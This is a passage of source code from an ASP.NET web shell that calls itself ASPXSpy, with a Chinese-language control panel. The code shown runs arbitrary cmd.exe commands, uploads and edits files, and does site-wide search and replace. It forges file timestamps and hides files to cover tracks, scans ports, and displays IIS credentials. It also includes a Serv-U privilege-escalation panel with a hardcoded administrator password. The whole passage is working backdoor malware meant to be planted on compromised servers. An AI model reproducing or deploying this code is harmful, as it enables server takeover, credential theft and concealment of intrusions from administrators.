  1810. string tmp=null;
  1811. try
  1812. {
  1813. tmp=System.Net.Dns.Resolve(instr).AddressList[0].ToString();
  1814. }
  1815. catch(Exception e)
  1816. {
  1817. }
  1818. return tmp;
  1819. }
  1820. public void VikG()
  1821. {
  1822. string[] OTV=lOmX.Text.ToString().Split(',');
  1823. for(int i=0;i<OTV.Length;i++)
  1824. {
  1825. IVc.Add(new ScanPort(mRDl(MdR.Text.ToString()),Int32.Parse(OTV[i])));
  1826. }
  1827. try
  1828. {
  1829. Thread[] kbXY=new Thread[IVc.Count];
  1830. int sdO=0;
  1831. for(sdO=0;sdO<IVc.Count;sdO++)
  1832. {
  1833. kbXY[sdO]=new Thread(new ThreadStart(((ScanPort)IVc[sdO]).Scan));
  1834. kbXY[sdO].Start();
  1835. }
  1836. for(sdO=0;sdO<kbXY.Length;sdO++)
  1837. kbXY[sdO].Join();
  1838. }
  1839. catch
  1840. {
  1841. }
  1842. }
  1843. public class ScanPort
  1844. {
  1845. private string _ip="";
  1846. private int jTdO=0;
  1847. private TimeSpan _timeSpent;
  1848. private string QGcH="Not scanned";
  1849. public string ip
  1850. {
  1851. get { return _ip;}
  1852. }
  1853. public int port
  1854. {
  1855. get { return jTdO;}
  1856. }
  1857. public string status
  1858. {
  1859. get { return QGcH;}
  1860. }
  1861. public TimeSpan timeSpent
  1862. {
  1863. get { return _timeSpent;}
  1864. }
  1865. public ScanPort(string ip,int port)
  1866. {
  1867. _ip=ip;
  1868. jTdO=port;
  1869. }
  1870. public void Scan()
  1871. {
  1872. TcpClient iYap=new TcpClient();
  1873. DateTime qYZT=DateTime.Now;
  1874. try
  1875. {
  1876. iYap.Connect(_ip,jTdO);
  1877. iYap.Close();
  1878. QGcH="<font color=green><b>Open</b></font>";
  1879. }
  1880. catch
  1881. {
  1882. QGcH="<font color=red><b>Close</b></font>";
  1883. }
  1884. _timeSpent=DateTime.Now.Subtract(qYZT);
  1885. }
  1886. }
  1887. public static void YFcNP(System.Web.UI.Page page)
  1888. {
  1889. page.RegisterHiddenField("__EVENTTARGET","");
  1890. page.RegisterHiddenField("__FILE","");
  1891. string s=@"<script language=Javascript>";
  1892. s+=@"function Bin_PostBack(eventTarget,eventArgument)";
  1893. s+=@"{";
  1894. s+=@"var theform=document.forms[0];";
  1895. s+=@"theform.__EVENTTARGET.value=eventTarget;";
  1896. s+=@"theform.__FILE.value=eventArgument;";
  1897. s+=@"theform.submit();";
  1898. s+=@"} ";
  1899. s+=@"</scr"+"ipt>";
  1900. page.RegisterStartupScript("",s);
  1901. }
  1902. protected void PPtK(object sender,EventArgs e)
  1903. {
  1904. WICxe();
  1905. yhv.Visible=true;
  1906. Bin_H2_Title.InnerText="文件搜索 >>";
  1907. NaLJ.Value=Request.PhysicalApplicationPath;
  1908. oJiym.Visible=false;
  1909. }
  1910. protected void NBy(object sender,EventArgs e)
  1911. {
  1912. DirectoryInfo GQMM=new DirectoryInfo(NaLJ.Value);
  1913. if(!GQMM.Exists)
  1914. {
  1915. xseuB("Path invalid ! ");
  1916. return;
  1917. }
  1918. oog(GQMM);
  1919. xseuB("Search completed ! ");
  1920. }
  1921. public void oog(DirectoryInfo dir)
  1922. {
  1923. try
  1924. {
  1925. oJiym.Visible=true;
  1926. foreach(FileInfo Bin_Files in dir.GetFiles())
  1927. {
  1928. try
  1929. {
  1930. if(Bin_Files.FullName==Request.PhysicalPath)
  1931. {
  1932. continue;
  1933. }
  1934. if(!Regex.IsMatch(Bin_Files.Extension.Replace(".",""),"^("+UDLvA.Value+")$",RegexOptions.IgnoreCase))
  1935. {
  1936. continue;
  1937. }
  1938. if(Ven.SelectedItem.Value=="name")
  1939. {
  1940. if(rAQ.Checked)
  1941. {
  1942. if(Regex.IsMatch(Bin_Files.Name,iaMKl.Value,RegexOptions.IgnoreCase))
  1943. {
  1944. FJvQ(Bin_Files);
  1945. }
  1946. }
  1947. else
  1948. {
  1949. if(Bin_Files.Name.ToLower().IndexOf(iaMKl.Value.ToLower())!=-1)
  1950. {
  1951. Response.Write(Bin_Files.FullName);
  1952. FJvQ(Bin_Files);
  1953. }
  1954. }
  1955. }
  1956. else
  1957. {
  1958. StreamReader sr=new StreamReader(Bin_Files.FullName,Encoding.Default);
  1959. string ava=sr.ReadToEnd();
  1960. sr.Close();
  1961. if(rAQ.Checked)
  1962. {
  1963. if(Regex.IsMatch(ava,iaMKl.Value,RegexOptions.IgnoreCase))
  1964. {
  1965. FJvQ(Bin_Files);
  1966. if(YZw.Checked)
  1967. {
  1968. ava=Regex.Replace(ava,iaMKl.Value,qPe.Value,RegexOptions.IgnoreCase);
  1969. StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
  1970. sw.Write(ava);
  1971. sw.Close();
  1972. }
  1973. }
  1974. }
  1975. else
  1976. {
  1977. if(ava.ToLower().IndexOf(iaMKl.Value.ToLower())!=-1)
  1978. {
  1979. FJvQ(Bin_Files);
  1980. if(YZw.Checked)
  1981. {
  1982. ava=Strings.Replace(ava,iaMKl.Value,qPe.Value,1,-1,CompareMethod.Text);
  1983. StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
  1984. sw.Write(ava);
  1985. sw.Close();
  1986. }
  1987. }
  1988. }
  1989. }
  1990. }
  1991. catch(Exception ex)
  1992. {
  1993. xseuB(ex.Message);
  1994. continue;
  1995. }
  1996. }
  1997. foreach(DirectoryInfo subdir in dir.GetDirectories())
  1998. {
  1999. oog(subdir);
  2000. }
  2001. }
  2002. catch(Exception ex)
  2003. {
  2004. xseuB(ex.Message);
  2005. }
  2006. }
  2007. public void FJvQ(FileInfo objfile)
  2008. {
  2009. TableRow tr=new TableRow();
  2010. TableCell tc=new TableCell();
  2011. string bg=OKM();
  2012. tr.Attributes["onmouseover"]="this.className='focus';";
  2013. tr.CssClass=bg;
  2014. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  2015. tc.Text="<a href="javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(objfile.DirectoryName)+"')">"+objfile.FullName+"</a>";
  2016. tr.Cells.Add(tc);
  2017. tc=new TableCell();
  2018. tc.Text=objfile.LastWriteTime.ToString();
  2019. tr.Cells.Add(tc);
  2020. tc=new TableCell();
  2021. tc.Text=mTG(objfile.Length);
  2022. tr.Cells.Add(tc);
  2023. oJiym.Rows.Add(tr);
  2024. }
  2025. public void xseuB(string instr)
  2026. {
  2027. jDKt.Visible=true;
  2028. jDKt.InnerText=instr;
  2029. }
  2030. protected void xVm(object sender,EventArgs e)
  2031. {
  2032. string Jfm=FormsAuthentication.HashPasswordForStoringInConfigFile(HRJ.Text,"MD5").ToLower();
  2033. if(Jfm==Password)
  2034. {
  2035. Response.Cookies.Add(new HttpCookie(vbhLn,Password));
  2036. ljtzC.Visible=false;
  2037. PBZw();
  2038. }
  2039. else
  2040. {
  2041. tZSx();
  2042. }
  2043. }
  2044. protected void Ybg(object sender,EventArgs e)
  2045. {
  2046. krIR(Server.MapPath("."));
  2047. }
  2048. protected void KjPi(object sender,EventArgs e)
  2049. {
  2050. Bin_H2_Title.InnerText="IIS探测 >>";
  2051. WICxe();
  2052. VNR.Visible=true;
  2053. AdCx();
  2054. }
  2055. protected void DGCoW(object sender,EventArgs e)
  2056. {
  2057. try
  2058. {
  2059. StreamWriter sw;
  2060. if(NdCX.SelectedItem.Text=="UTF-8")
  2061. {
  2062. sw=new StreamWriter(Sqon.Value,false,Encoding.UTF8);
  2063. }
  2064. else
  2065. {
  2066. sw=new StreamWriter(Sqon.Value,false,Encoding.Default);
  2067. }
  2068. sw.Write(Xgvv.InnerText);
  2069. sw.Close();
  2070. xseuB("Save file success !");
  2071. }
  2072. catch(Exception error)
  2073. {
  2074. xseuB(error.Message);
  2075. }
  2076. krIR(AXSbb.Value);
  2077. }
  2078. protected void lbjLD(object sender,EventArgs e)
  2079. {
  2080. string FlwA=AXSbb.Value;
  2081. FlwA=OElM(FlwA);
  2082. try
  2083. {
  2084. Fhq.PostedFile.SaveAs(FlwA+Path.GetFileName(Fhq.Value));
  2085. xseuB("File upload success!");
  2086. }
  2087. catch(Exception error)
  2088. {
  2089. xseuB(error.Message);
  2090. }
  2091. krIR(AXSbb.Value);
  2092. }
  2093. protected void EXV(object sender,EventArgs e)
  2094. {
  2095. krIR(AXSbb.Value);
  2096. }
  2097. protected void mcCY(object sender,EventArgs e)
  2098. {
  2099. krIR(Server.MapPath("."));
  2100. }
  2101. protected void iVk(object sender,CommandEventArgs e)
  2102. {
  2103. krIR(e.CommandArgument.ToString());
  2104. }
  2105. protected void XXrLw(object sender,EventArgs e)
  2106. {
  2107. try
  2108. {
  2109. File.SetCreationTimeUtc(QiFB.Value,File.GetCreationTimeUtc(lICp.Value));
  2110. File.SetLastAccessTimeUtc(QiFB.Value,File.GetLastAccessTimeUtc(lICp.Value));
  2111. File.SetLastWriteTimeUtc(QiFB.Value,File.GetLastWriteTimeUtc(lICp.Value));
  2112. xseuB("File time clone success!");
  2113. }
  2114. catch(Exception error)
  2115. {
  2116. xseuB(error.Message);
  2117. }
  2118. krIR(AXSbb.Value);
  2119. }
  2120. protected void tIykC(object sender,EventArgs e)
  2121. {
  2122. string path=pWVL.Value;
  2123. try
  2124. {
  2125. File.SetAttributes(path,FileAttributes.Normal);
  2126. if(ZhWSK.Checked)
  2127. {
  2128. File.SetAttributes(path,FileAttributes.ReadOnly);
  2129. }
  2130. if(SsR.Checked)
  2131. {
  2132. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.System);
  2133. }
  2134. if(ccB.Checked)
  2135. {
  2136. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Hidden);
  2137. }
  2138. if(fbyZ.Checked)
  2139. {
  2140. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Archive);
  2141. }
  2142. File.SetCreationTimeUtc(path,Convert.ToDateTime(yUqx.Value));
  2143. File.SetLastAccessTimeUtc(path,Convert.ToDateTime(aLsn.Value));
  2144. File.SetLastWriteTimeUtc(path,Convert.ToDateTime(uYjw.Value));
  2145. xseuB("File attributes modify success!");
  2146. }
  2147. catch(Exception error)
  2148. {
  2149. xseuB(error.Message);
  2150. }
  2151. krIR(AXSbb.Value);
  2152. }
  2153. protected void VOxn(object sender,EventArgs e)
  2154. {
  2155. WICxe();
  2156. vIac.Visible=true;
  2157. Bin_H2_Title.InnerText="执行命令>>";
  2158. }
  2159. protected void FbhN(object sender,EventArgs e)
  2160. {
  2161. try
  2162. {
  2163. Process ahAE=new Process();
  2164. ahAE.StartInfo.FileName=kusi.Value;
  2165. ahAE.StartInfo.Arguments=bkcm.Value;
  2166. ahAE.StartInfo.UseShellExecute=false;
  2167. ahAE.StartInfo.RedirectStandardInput=true;
  2168. ahAE.StartInfo.RedirectStandardOutput=true;
  2169. ahAE.StartInfo.RedirectStandardError=true;
  2170. ahAE.Start();
  2171. string Uoc=ahAE.StandardOutput.ReadToEnd();
  2172. Uoc=Uoc.Replace("<","<");
  2173. Uoc=Uoc.Replace(">",">");
  2174. Uoc=Uoc.Replace("\r\n","<br>");
  2175. tnQRF.Visible=true;
  2176. tnQRF.InnerHtml="<hr width="100%" noshade/><pre>"+Uoc+"</pre>";
  2177. }
  2178. catch(Exception error)
  2179. {
  2180. xseuB(error.Message);
  2181. }
  2182. }
  2183. protected void RAFL(object sender,EventArgs e)
  2184. {
  2185. if(qPdI.Text.Length>0)
  2186. {
  2187. tpRQ(qPdI.Text);
  2188. }
  2189. else
  2190. {
  2191. lFAvw();
  2192. }
  2193. }
  2194. protected void Grxk(object sender,EventArgs e)
  2195. {
  2196. YUw();
  2197. }
  2198. protected void ilC(object sender,EventArgs e)
  2199. {
  2200. tZRH();
  2201. }
  2202. protected void HtB(object sender,EventArgs e)
  2203. {
  2204. pDVM();
  2205. }
  2206. protected void Olm(object sender,EventArgs e)
  2207. {
  2208. iLVUT();
  2209. }
  2210. protected void jXhS(object sender,EventArgs e)
  2211. {
  2212. ADCpk();
  2213. }
  2214. protected void lRfRj(object sender,EventArgs e)
  2215. {
  2216. lDODR();
  2217. }
  2218. protected void xSy(object sender,EventArgs e)
  2219. {
  2220. xFhz();
  2221. }
  2222. protected void dMx(object sender,EventArgs e)
  2223. {
  2224. rAhe();
  2225. }
  2226. protected void zOVO(object sender,EventArgs e)
  2227. {
  2228. if(((DropDownList)sender).ID.ToString()=="WYmo")
  2229. {
  2230. dQIIF.Visible=false;
  2231. MasR.Text=WYmo.SelectedItem.Value.ToString();
  2232. }
  2233. if(((DropDownList)sender).ID.ToString()=="Pvf")
  2234. {
  2235. xTZY();
  2236. }
  2237. if(((DropDownList)sender).ID.ToString()=="FGEy")
  2238. {
  2239. jHIy.InnerText=FGEy.SelectedItem.Value.ToString();
  2240. }
  2241. if(((DropDownList)sender).ID.ToString()=="NdCX")
  2242. {
  2243. gLKc(Sqon.Value);
  2244. }
  2245. }
  2246. protected void IkkO(object sender,EventArgs e)
  2247. {
  2248. krIR(AXSbb.Value);
  2249. }
  2250. protected void BGY(object sender,EventArgs e)
  2251. {
  2252. vCf();
  2253. }
  2254. protected void cptS(object sender,EventArgs e)
  2255. {
  2256. vNCHZ();
  2257. }
  2258. protected void fDO(object sender,EventArgs e)
  2259. {
  2260. MHLv();
  2261. }
  2262. protected void vJNsE(object sender,EventArgs e)
  2263. {
  2264. vuou();
  2265. xseuB("Clear All Thread ......");
  2266. }
  2267. protected void wDZ(object sender,EventArgs e)
  2268. {
  2269. if(iXdh.Value=="" || eEpm.Value.Length<7 || ZHS.Value=="")return;
  2270. ruQO();
  2271. xseuB("All Thread Start ......");
  2272. }
  2273. protected void tYoZ(object sender,EventArgs e)
  2274. {
  2275. }
  2276. protected void ELkQ(object sender,EventArgs e)
  2277. {
  2278. VikG();
  2279. GBYT.Visible=true;
  2280. string res=string.Empty;
  2281. foreach(ScanPort th in IVc)
  2282. {
  2283. res+=th.ip+" : "+th.port+" ................................. "+th.status+"<br>";
  2284. }
  2285. GBYT.InnerHtml=res;
  2286. }
  2287. protected void ORUgV(object sender,EventArgs e)
  2288. {
  2289. dwgT();
  2290. }
  2291. public void WICxe()
  2292. {
  2293. DCbS.Visible=false;
  2294. CzfO.Visible=false;
  2295. APl.Visible=false;
  2296. vIac.Visible=false;
  2297. kkHN.Visible=false;
  2298. YwLB.Visible=false;
  2299. iDgmL.Visible=false;
  2300. hOWTm.Visible=false;
  2301. vrFA.Visible=false;
  2302. yhv.Visible=false;
  2303. }
  2304. </script>
  2305. <html xmlns="http://www.w3.org/1999/xhtml" >
  2306. <head id="Head1" runat="server">
  2307. <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
  2308. <title>☆銥繎夶蟲___Ёnd</title>
  2309. <style type="text/css">
  2310. .Bin_Style_Login{font-size: 12px; font-family:Tahoma;background-color:#ddd;border:1px solid #fff;}
  2311. body,td{font: 12px Tahoma,Arial;line-height: 16px; background-color:#003300; color:lime;}
  2312. .input{font-size: 12px;background-color:#ddd;border:1px solid #fff;}
  2313. .list{font-size: 12px;background-color:#ddd;border:1px solid #fff;}
  2314. .area{font-size: 12px;background-color:#ddd;border:1px solid #fff;padding:2px;}
  2315. .bt {font-size: 12px;background-color:#ddd;border:1px solid #fff;}
  2316. a {color:lime;text-decoration: none;}a:hover{color:lime;}
  2317. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#003300;padding:5px 10px 5px 5px;}
  2318. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#003300;padding:5px 10px 5px 5px;}
  2319. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#015201;padding:5px 10px 5px 5px;}
  2320. .head td{border-top:1px solid #ddd;border-bottom:1px solid #ccc;background:#073b07;padding:5px 10px 5px 5px;font-weight:bold;}
  2321. .head td span{font-weight:normal;}
  2322. form{margin:0;padding:0;}
  2323. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:lime;}
  2324. ul.info li{margin:0;color:lime;line-height:24px;height:24px;}
  2325. u{text-decoration: none;color:lime;float:left;display:block;width:150px;margin-right:10px;}
  2326. .u1{text-decoration: none;color:lime;float:left;display:block;width:150px;margin-right:10px;}
  2327. .u2{text-decoration: none;color:lime;float:left;display:block;width:350px;margin-right:10px;}
  2328. </style>
  2329. <script type="text/javascript">
  2330. function CheckAll(form){
  2331. for(var i=0;i<form.elements.length;i++){
  2332. var e=form.elements[i];
  2333. if(e.name!='chkall')
  2334. e.checked=form.chkall.checked;
  2335. }
  2336. }
  2337. </script>
  2338. </head>
  2339. <body style="margin:0;table-layout:fixed;">
  2340. <form id="ASPXSpy" runat="server">
  2341. <div id="ljtzC" runat="server" style=" margin:15px" enableviewstate="false" visible="false" >
  2342. <span style="font:11px Verdana;">Password:</span>
  2343. <asp:TextBox ID="HRJ" runat="server" Columns="20" CssClass="Bin_Style_Login" ></asp:TextBox>
  2344. <asp:Button ID="ZSnXu" runat="server" Text="Login" CssClass="Bin_Style_Login" OnClick="xVm"/><p/>
  2345. </div>
  2346. <div id="ZVS" runat="server">
  2347. <div id="Zzj" runat="server">
  2348. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  2349. <tr class="head">
  2350. <td ><span style="float:right;"><a href="http://www.on-e.cn" target="_blank">☆銥繎夶蟲___Ёnd</a></span><span id="Bin_Span_Sname" runat="server" enableviewstate="true"></span></td>
  2351. </tr>
  2352. <tr class="alt1">
  2353. <td><span style="float:right;" id="Bin_Span_FrameVersion" runat="server"></span>
  2354. <asp:LinkButton ID="UtkN" runat="server" OnClick="YKpI" Text="退出登录" ></asp:LinkButton> | <asp:LinkButton ID="RsqhW" runat="server" Text="文件(夹)管理" OnClick="Ybg"></asp:LinkButton> | <asp:LinkButton ID="xxzE" runat="server" Text="Cmd命令" OnClick="VOxn"></asp:LinkButton> | <asp:LinkButton ID="nuc" runat="server" Text="IIS探测" OnClick="KjPi"></asp:LinkButton> | <asp:LinkButton ID="OREpx" runat="server" Text="系统进程" OnClick="Grxk"></asp:LinkButton> | <asp:LinkButton ID="jHN" runat="server" Text="系统服务" OnClick="ilC"></asp:LinkButton> | <asp:LinkButton ID="PHq" runat="server" Text="用户(组)信息" OnClick="Olm"></asp:LinkButton> | <asp:LinkButton ID="wmgnK" runat="server" Text="系统信息" OnClick="HtB"></asp:LinkButton> | <asp:LinkButton ID="FeV" runat="server" Text="文件搜索" OnClick="PPtK"></asp:LinkButton> | <asp:LinkButton ID="PVQ" runat="server" Text="Serv-U提权" OnClick="jXhS"></asp:LinkButton> | <asp:LinkButton ID="jNDb" runat="server" Text="注册表查询" OnClick="xSy"></asp:LinkButton> | <asp:LinkButton ID="HDQ" runat="server" Text="端口扫描" OnClick="cptS" ></asp:LinkButton> | <asp:LinkButton ID="AoI" runat="server" Text="数据库管理" OnClick="dMx"></asp:LinkButton> | <asp:LinkButton ID="KHbEd" runat="server" Text="端口映射" OnClick="fDO"></asp:LinkButton>
  2355. </td>
  2356. </tr>
  2357. </table>
  2358. </div>
  2359. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  2360. <div id="jDKt" style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;" runat="server" visible="false" enableviewstate="false"></div>
  2361. <h2 id="Bin_H2_Title" runat="server"></h2>
  2362. <%--FileList--%>
  2363. <div id="CzfO" runat="server">
  2364. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  2365. <tr>
  2366. <td style=" white-space:nowrap">当前目录 : </td>
  2367. <td style=" width:100%"><input class="input" id="AXSbb" type="text" style="width:97%;margin:0 8px;" runat="server"/>
  2368. </td>
  2369. <td style="white-space:nowrap" ><asp:Button ID="xaGwl" runat="server" Text="Go" CssClass="bt" OnClick="EXV"/></td>
  2370. </tr>
  2371. </table>
  2372. <table width="100%" border="0" cellpadding="4" cellspacing="0">
  2373. <tr class="alt1"><td colspan="7" style="padding:5px;">
  2374. <div style="float:right;"><input id="Fhq" class="input" runat="server" type="file" style=" height:22px"/>
  2375. <asp:Button ID="RvPp" CssClass="bt" runat="server" Text="上传" OnClick="lbjLD"/></div><asp:LinkButton ID="OLJFp" runat="server" Text="网站目录" OnClick="mcCY"></asp:LinkButton> | <a href="#" id="Bin_Button_CreateDir" runat="server">木马目录</a> | <a href="#" id="Bin_Button_CreateFile" runat="server">新建目录</a>
  2376. | <span id="Bin_Span_Drv" runat="server"></span><a href="#" id="Bin_Button_KillMe" runat="server" style="color:Red">木马自杀</a>
  2377. </td></tr>
  2378. <asp:Table ID="UGzP" runat="server" Width="100%" CellSpacing="0" >
  2379. <asp:TableRow CssClass="head"><asp:TableCell> </asp:TableCell><asp:TableCell>文件(夹)名</asp:TableCell><asp:TableCell Width="25%">最后修改时间</asp:TableCell><asp:TableCell Width="15%">大小</asp:TableCell><asp:TableCell Width="25%">操作</asp:TableCell></asp:TableRow>
  2380. </asp:Table>
  2381. </table>
  2382. </div>
  2383. <%--FileEdit--%>
  2384. <div id="vrFA" runat="server">
  2385. <p>当前文件(创建新的文件名和新文件)<br/>
  2386. <input class="input" id="Sqon" type="text" size="100" runat="server"/> <asp:DropDownList ID="NdCX" runat="server" CssClass="list" AutoPostBack="true" OnSelectedIndexChanged="zOVO"><asp:ListItem>Default</asp:ListItem><asp:ListItem>UTF-8</asp:ListItem></asp:DropDownList>
  2387. </p>
  2388. <p>文件内容<br/>
  2389. <textarea id="Xgvv" runat="server" class="area" cols="100" rows="25" enableviewstate="true" ></textarea>
  2390. </p>
  2391. <p><asp:Button ID="JJjbW" runat="server" Text="提交" CssClass="bt" OnClick="DGCoW"/> <asp:Button ID="iCNu" runat="server" Text="返回" CssClass="bt" OnClick="IkkO"/></p>
  2392. </div>
  2393. <%--CloneTime--%>
  2394. <div id="zRyG" runat="server" enableviewstate="false" visible="false">
  2395. <p>修改文件<br/><input class="input" id="QiFB" type="text" size="120" runat="server"/></p>
  2396. <p>参考文件<br/><input class="input" id="lICp" type="text" size="120" runat="server"/></p>
  2397. <p><asp:Button ID="JEaxV" runat="server" Text="提交" CssClass="bt" OnClick="XXrLw"/></p>
  2398. <h2>设置最后修改时间 &#187;</h2>
  2399. <p>当前文件<br/><input class="input" id="pWVL" type="text" size="120" runat="server"/></p>
  2400. <p>
  2401. <asp:CheckBox ID="ZhWSK" runat="server" Text="只读" EnableViewState="False"/>

  2402. <asp:CheckBox ID="SsR" runat="server" Text="系统" EnableViewState="False"/>

  2403. <asp:CheckBox ID="ccB" runat="server" Text="隐藏" EnableViewState="False"/>

  2404. <asp:CheckBox ID="fbyZ" runat="server" Text="存档" EnableViewState="False"/>
  2405. </p>
  2406. <p>
  2407. 创建时间 :
  2408. <input class="input" id="yUqx" type="text" runat="server"/>
  2409. 最后修改时间 :
  2410. <input class="input" id="uYjw" type="text" runat="server"/>
  2411. 最后访问时间 :
  2412. <input class="input" id="aLsn" type="text" runat="server"/>
  2413. </p>
  2414. <p>
  2415. <asp:Button ID="kOG" CssClass="bt" runat="server" Text="提交" OnClick="tIykC"/>
  2416. </p>
  2417. </div>
  2418. <%--IISSpy--%>
  2419. <div runat="server" id="VNR" visible="false" enableviewstate="false">
  2420. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2421. <asp:Table ID="GlI" runat="server" Width="100%" CellSpacing="0">
  2422. <asp:TableRow CssClass="head"><asp:TableCell>ID</asp:TableCell><asp:TableCell>IIS_USER</asp:TableCell><asp:TableCell>IIS_PASS</asp:TableCell><asp:TableCell>Domain</asp:TableCell><asp:TableCell>Path</asp:TableCell></asp:TableRow>
  2423. </asp:Table>
  2424. </table>
  2425. </div>
  2426. <%--Process--%>
  2427. <div runat="server" id="DCbS" visible="false" enableviewstate="false">
  2428. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2429. <asp:Table ID="IjsL" runat="server" Width="100%" CellSpacing="0" >
  2430. <asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Process</asp:TableCell><asp:TableCell>ThreadCount</asp:TableCell><asp:TableCell>Priority</asp:TableCell><asp:TableCell>Action</asp:TableCell></asp:TableRow>
  2431. </asp:Table>
  2432. </table>
  2433. </div>
  2434. <%--CmdShell--%>
  2435. <div runat="server" id="vIac">
  2436. <p>Cmd路径:<br/>
  2437. <input class="input" runat="server" id="kusi" type="text" size="100" value="c:\windows\system32\cmd.exe"/>
  2438. </p>
  2439. 语句:<br/>
  2440. <input class="input" runat="server" id="bkcm" value="/c Set" type="text" size="100"/> <asp:Button ID="YrqL" CssClass="bt" runat="server" Text="执行" OnClick="FbhN"/>
  2441. <div id="tnQRF" runat="server" visible="false" enableviewstate="false">
  2442. </div>
  2443. </div>
  2444. <%--Services--%>
  2445. <div runat="server" id="iQxm" visible ="false" enableviewstate="false">
  2446. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2447. <asp:Table ID="vHCs" runat="server" Width="100%" CellSpacing="0" >
  2448. <asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Name</asp:TableCell><asp:TableCell>Path</asp:TableCell><asp:TableCell>State</asp:TableCell><asp:TableCell>StartMode</asp:TableCell></asp:TableRow>
  2449. </asp:Table>
  2450. </table>
  2451. </div>
  2452. <%--Sysinfo--%>
  2453. <div runat="server" id="ghaB" visible="false" enableviewstate="false">
  2454. <hr style=" border: 1px solid #ddd;height:0px;"/>
  2455. <ul class="info" id="Bin_Ul_Sys" runat="server"></ul>
  2456. <h2 id="Bin_H2_Mac" runat="server"></h2>
  2457. <hr style=" border: 1px solid #ddd;height:0px;"/>
  2458. <ul class="info" id ="Bin_Ul_NetConfig" runat="server"></ul>
  2459. <h2 id="Bin_H2_Driver" runat="server"></h2>
  2460. <hr style=" border: 1px solid #ddd;height:0px;"/>
  2461. <ul class="info" id ="Bin_Ul_Driver" runat="server"></ul>
  2462. </div>
  2463. <%--UserInfo--%>
  2464. <div runat="server" id="xWVQ" visible="false" enableviewstate="false">
  2465. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2466. <asp:Table ID="VPa" runat="server" Width="100%" CellSpacing="0" >
  2467. </asp:Table>
  2468. </table>
  2469. </div>
  2470. <%--SuExp--%>
  2471. <div runat="server" id="APl">
  2472. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2473. <tr align="center">
  2474. <td style="width:10%"></td>
  2475. <td style="width:20%" align="left">用户名 : <input class="input" runat="server" id="dNohJ" type="text" size="20" value="localadministrator"/></td>
  2476. <td style="width:20%" align="left">密码 : <input class="input" runat="server" id="NMd" type="text" size="20" value="#l@$ak#.lk;0@P"/></td>
  2477. <td style="width:20%" align="left">端口 : <input class="input" runat="server" id="HlQl" type="text" size="20" value="43958"/></td>
  2478. <td style="width:10%"></td>
  2479. </tr>
  2480. <tr >
  2481. <td style="width:10%"></td>
  2482. <td colspan="5">CmdShell  : <input class="input" runat="server" id="mHbjB" type="text" size="100" value="cmd.exe /c net user"/> <asp:Button ID="SPhc" CssClass="bt" runat="server" Text="执行" OnClick="lRfRj"/></td>
  2483. </tr>
  2484. </table>
  2485. <div id="UHlA" visible="false" enableviewstate="false" runat="server">
  2486. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2487. <tr align="center">
  2488. <td style="width:30%"></td>
  2489. <td align="left" style="width:40%"><pre id="Bin_Td_Res" runat="server"></pre></td>
  2490. <td style="width:30%"></td>
  2491. </tr>
  2492. </table>
  2493. </div>
  2494. </div>
  2495. <%--Reg--%>
  2496. <div id="kkHN" runat="server">
  2497. <p>注册表路径 : <asp:TextBox id="qPdI" style="width:85%;margin:0 8px;" CssClass="input" runat="server"/><asp:Button ID="MoNA" runat="server" Text="Go" CssClass="bt" onclick="RAFL"/></p>
  2498. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  2499. <asp:Table ID="pLWD" runat="server" Width="100%" CellSpacing="0" >
  2500. <asp:TableRow CssClass="alt1"><asp:TableCell ColumnSpan="2" id="vyX"></asp:TableCell></asp:TableRow>
  2501. <asp:TableRow CssClass="head"><asp:TableCell Width="40%">Key</asp:TableCell><asp:TableCell Width="60%">Value</asp:TableCell></asp:TableRow>
  2502. </asp:Table>
  2503. </table>
  2504. </div>
  2505. <%--PortScan--%>
  2506. <div id="YwLB" runat="server">
  2507. <p>
  2508. IP : <asp:TextBox id="MdR" style="width:10%;margin:0 8px;" CssClass="input" runat="server" Text="127.0.0.1"/> 端口 : <asp:TextBox id="lOmX" style="width:40%;margin:0 8px;" CssClass="input" runat="server" Text="21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"/> <asp:Button ID="CmUCh" runat="server" Text="扫描" CssClass="bt" OnClick="ELkQ"/>
  2509. </p>
  2510. <div id="GBYT" runat="server" visible="false" enableviewstate="false"></div>
  2511. </div>
  2512. <%--DataBase--%>
  2513. <div id="iDgmL" runat="server">
  2514. <p>语句 : <asp:TextBox id="MasR" style="width:70%;margin:0 8px;" CssClass="input" runat="server"/><asp:DropDownList runat="server" CssClass="list" ID="WYmo" AutoPostBack="True" OnSelectedIndexChanged="zOVO" ><asp:ListItem></asp:ListItem><asp:ListItem Value="server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB">MSSQL</asp:ListItem><asp:ListItem Value="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\database.mdb">ACCESS</asp:ListItem></asp:DropDownList><asp:Button ID="QcZPA" runat="server" Text="Go" CssClass="bt" OnClick="BGY"/></p>
  2515. <div id="dQIIF" runat="server">
